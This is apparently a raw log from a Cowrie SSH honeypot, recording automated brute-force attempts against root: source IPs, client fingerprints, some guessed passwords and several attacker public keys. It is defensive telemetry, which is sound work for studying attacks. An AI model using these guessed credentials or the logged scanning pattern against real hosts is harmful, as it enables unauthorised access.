{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:51:47.986085Z","src_ip":"103.27.238.116","session":"045857d9efff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":47680,"dst_ip":"10.17.0.5","dst_port":22,"session":"b91aea66d98e","protocol":"ssh","message":"New connection: 103.27.238.120:47680 (10.17.0.5:22) [session: b91aea66d98e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:51:48.742812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:51:48.747975Z","src_ip":"103.27.238.120","session":"b91aea66d98e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12101986","message":"login attempt [root/12101986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:51:48.768321Z","src_ip":"103.27.238.116","session":"045857d9efff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:51:49.013605Z","src_ip":"103.27.238.120","session":"b91aea66d98e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sardor","message":"login attempt [root/sardor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:51:49.810068Z","src_ip":"103.27.238.120","session":"b91aea66d98e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:51:50.031375Z","src_ip":"103.27.238.116","session":"045857d9efff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:51:51.079007Z","src_ip":"103.27.238.120","session":"b91aea66d98e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.14.12.125","src_port":27354,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e68e3142862","protocol":"ssh","message":"New connection: 3.14.12.125:27354 (10.17.0.5:22) [session: 6e68e3142862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:52:13.440298Z"}
{"eventid":"cowrie.client.version","version":"","message":"Remote SSH version: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:52:13.445366Z","src_ip":"3.14.12.125","session":"6e68e3142862","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:52:13.448928Z","src_ip":"3.14.12.125","session":"6e68e3142862","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.14.12.125","src_port":55124,"dst_ip":"10.17.0.5","dst_port":22,"session":"aeef6f24871c","protocol":"ssh","message":"New connection: 3.14.12.125:55124 (10.17.0.5:22) [session: aeef6f24871c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:55:09.211355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:55:09.237618Z","src_ip":"3.14.12.125","session":"aeef6f24871c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:55:09.241514Z","src_ip":"3.14.12.125","session":"aeef6f24871c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":38918,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d0225dd224a","protocol":"ssh","message":"New connection: 103.82.132.16:38918 (159.203.135.109:22) [session: 7d0225dd224a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:55:18.621971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:55:18.627189Z","src_ip":"103.82.132.16","session":"7d0225dd224a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:55:18.876557Z","src_ip":"103.82.132.16","session":"7d0225dd224a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:55:19.238407Z","src_ip":"3.14.12.125","session":"aeef6f24871c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kittycat","message":"login attempt [root/kittycat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:55:19.622958Z","src_ip":"103.82.132.16","session":"7d0225dd224a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:55:20.874539Z","src_ip":"103.82.132.16","session":"7d0225dd224a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":54952,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f81d482a8a4","protocol":"ssh","message":"New connection: 103.153.68.219:54952 (159.203.135.109:22) [session: 3f81d482a8a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:55:43.722822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:55:43.727617Z","src_ip":"103.153.68.219","session":"3f81d482a8a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:55:43.978580Z","src_ip":"103.153.68.219","session":"3f81d482a8a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alex77","message":"login attempt [root/alex77] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:55:44.730724Z","src_ip":"103.153.68.219","session":"3f81d482a8a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:55:45.984307Z","src_ip":"103.153.68.219","session":"3f81d482a8a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.216.2","src_port":14514,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2f2889b84a9","protocol":"ssh","message":"New connection: 212.192.216.2:14514 (10.17.0.5:22) [session: c2f2889b84a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:56:56.971825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:56:56.977021Z","src_ip":"212.192.216.2","session":"c2f2889b84a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:56:57.063614Z","src_ip":"212.192.216.2","session":"c2f2889b84a9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c8:20:9e:96:1e:d3:3c:79:ad:0e:f9:78:23:5f:d2:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCW3MCRnIykMipJLisW0w/fVBmEmk0sEBAOOwmVZq3Wbr8zFrp17ejR3GiWHOQN4b7pp6PT+rUSMGWlAmhzuqhkpP909BfDaIwiRUneSHgdrwqVDYQPb+R9jYaXU2p0FqL3op2TM2PEHaDEagHnQWGkDJfXbEqQIvwRbMQMyZ+4tK+AOVIZKcrRXKMjI4lZoGx20cUbFr05gvfPX55Sr0S3RmPdtM4AvOJM05ImLpCSoGP/MedrwWsuB9Q7bB7K6FRufxR7k++8c1Xewe9fCDlSAVgOKbO0f1Q2XW2hizTQ0BETxI/AqqYTPt3F2bT4RAWRcmkKB34/WN6bp05tryViHG448AwdgWIBAi2q0kt2WUGlXAdvw8wplQCqyKcPTw9fxWK6L+uKj7UnnAtR7CgT8zgTRVrXz13E0q35k4Tjp8nq1P9apbPew3gVh1OVAkZ35qnjvbUg8eEbpqHlA0PZrudfP0dymZqGNWDOvmhKMwXyhEmgeZrobG94OHTkBdk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c8:20:9e:96:1e:d3:3c:79:ad:0e:f9:78:23:5f:d2:ed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:56:57.448278Z","src_ip":"212.192.216.2","session":"c2f2889b84a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c8:20:9e:96:1e:d3:3c:79:ad:0e:f9:78:23:5f:d2:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCW3MCRnIykMipJLisW0w/fVBmEmk0sEBAOOwmVZq3Wbr8zFrp17ejR3GiWHOQN4b7pp6PT+rUSMGWlAmhzuqhkpP909BfDaIwiRUneSHgdrwqVDYQPb+R9jYaXU2p0FqL3op2TM2PEHaDEagHnQWGkDJfXbEqQIvwRbMQMyZ+4tK+AOVIZKcrRXKMjI4lZoGx20cUbFr05gvfPX55Sr0S3RmPdtM4AvOJM05ImLpCSoGP/MedrwWsuB9Q7bB7K6FRufxR7k++8c1Xewe9fCDlSAVgOKbO0f1Q2XW2hizTQ0BETxI/AqqYTPt3F2bT4RAWRcmkKB34/WN6bp05tryViHG448AwdgWIBAi2q0kt2WUGlXAdvw8wplQCqyKcPTw9fxWK6L+uKj7UnnAtR7CgT8zgTRVrXz13E0q35k4Tjp8nq1P9apbPew3gVh1OVAkZ35qnjvbUg8eEbpqHlA0PZrudfP0dymZqGNWDOvmhKMwXyhEmgeZrobG94OHTkBdk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:56:57.452469Z","src_ip":"212.192.216.2","session":"c2f2889b84a9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:af:b4:e7:1b:d2:d6:8b:09:1d:6c:93:c9:d9:cc:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDINthlqYc4mw/uoxLOZ0mk0s0nJOK5YqHeYtZHdoIJD1pzVJEu8WmeoqSOe4xrcMdl+oRDTgwH2ALsjfgbGt8J/5LRGBzXM4k0zIUs723ylgUZHDLSovlIRHpjkRbMPwSHy/1wcuABtE6XCwTybHCZQGNYRzUvlnvSj0m4xcRNg24P2wYBY4L9CqctdK+LlS1iJdNV2h2Wqg7SsQjaxg7cmatYhsXnFbVGgs8Yn3qjPzzJuM3c26HbMh5GCg3Q4s46cnz4ar62EQWAyF51so+pv6pFepziopznYpOqx+br8FYcoi/98X2g/E1ZzVnZtghsKFA2vu3NN0u3vZwCSRSl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d3:af:b4:e7:1b:d2:d6:8b:09:1d:6c:93:c9:d9:cc:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:56:57.535771Z","src_ip":"212.192.216.2","session":"c2f2889b84a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:af:b4:e7:1b:d2:d6:8b:09:1d:6c:93:c9:d9:cc:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDINthlqYc4mw/uoxLOZ0mk0s0nJOK5YqHeYtZHdoIJD1pzVJEu8WmeoqSOe4xrcMdl+oRDTgwH2ALsjfgbGt8J/5LRGBzXM4k0zIUs723ylgUZHDLSovlIRHpjkRbMPwSHy/1wcuABtE6XCwTybHCZQGNYRzUvlnvSj0m4xcRNg24P2wYBY4L9CqctdK+LlS1iJdNV2h2Wqg7SsQjaxg7cmatYhsXnFbVGgs8Yn3qjPzzJuM3c26HbMh5GCg3Q4s46cnz4ar62EQWAyF51so+pv6pFepziopznYpOqx+br8FYcoi/98X2g/E1ZzVnZtghsKFA2vu3NN0u3vZwCSRSl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:56:57.539573Z","src_ip":"212.192.216.2","session":"c2f2889b84a9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:1e:55:bf:ca:82:b4:bd:09:22:02:9c:39:3f:fe:9b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFGAEBNoIptGwj4GgKsnBKCQHXfjqHhcz4/Py8EJmND4","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 3c:1e:55:bf:ca:82:b4:bd:09:22:02:9c:39:3f:fe:9b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:56:57.621661Z","src_ip":"212.192.216.2","session":"c2f2889b84a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:1e:55:bf:ca:82:b4:bd:09:22:02:9c:39:3f:fe:9b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFGAEBNoIptGwj4GgKsnBKCQHXfjqHhcz4/Py8EJmND4","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:56:57.625140Z","src_ip":"212.192.216.2","session":"c2f2889b84a9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:42:5c:9e:f3:08:8a:df:38:93:67:31:e6:65:0a:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIH+oMRU+ML2h47CiLXVSjB3GLDchPYKDJyicDvsAmzWTYUKBs8EA5JbZQEaeWKtf1fgzDoyAVxKev/99aWSAK0eFWwH6i6sJGfse0oBwa5kQ5htqTFhf+Kkk3Blfc/2OD9wQ031lVGDegKqXKVzstZxS2UzTX6sR7DcdIWFoxY6qn69MHxMlNuzAhwFvaO+roLW9VAr8OxKXnZYbRSRqb+jDvihosudVFTaod5jQFM34k6oH6YH/r+qtsRhrtECX+FLbks/xSQbt/4GCNaTpAvsyIb16+/VtXWrcH64dqB60AScnRCDnRnBVT+XSRWXqy4geVkweIBJBwanOJw2pj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 47:42:5c:9e:f3:08:8a:df:38:93:67:31:e6:65:0a:f8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:56:57.706831Z","src_ip":"212.192.216.2","session":"c2f2889b84a9","protocol":"ssh"}
